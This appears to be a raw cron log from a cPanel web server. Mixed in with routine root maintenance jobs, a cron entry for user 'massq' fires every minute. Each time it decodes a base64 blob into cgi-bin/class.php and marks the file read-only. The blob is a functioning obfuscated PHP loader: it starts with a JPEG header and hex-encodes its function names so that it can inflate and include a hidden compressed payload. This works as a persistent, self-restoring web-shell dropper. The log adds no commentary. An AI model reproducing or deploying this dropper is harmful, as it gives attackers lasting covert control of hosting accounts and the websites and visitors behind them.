Nov 15 10:03:01 server CROND[10225]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:04:01 server CROND[10495]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:05:01 server CROND[10774]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 10:05:01 server CROND[10775]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 10:05:01 server CROND[10773]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:05:01 server CROND[10776]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 10:06:01 server CROND[11162]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:07:01 server CROND[11493]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:08:01 server CROND[11868]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:09:01 server CROND[12135]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 10:09:01 server CROND[12136]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:10:01 server CROND[12421]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 10:10:01 server CROND[12422]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 10:10:01 server CROND[12423]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 10:10:01 server CROND[12424]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:11:01 server CROND[12744]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:12:01 server CROND[13009]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 10:12:01 server CROND[13010]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:13:01 server CROND[13374]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:14:01 server CROND[13668]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:15:01 server CROND[13935]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 10:15:01 server CROND[13936]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 15 10:15:01 server CROND[13937]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:15:01 server CROND[13939]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
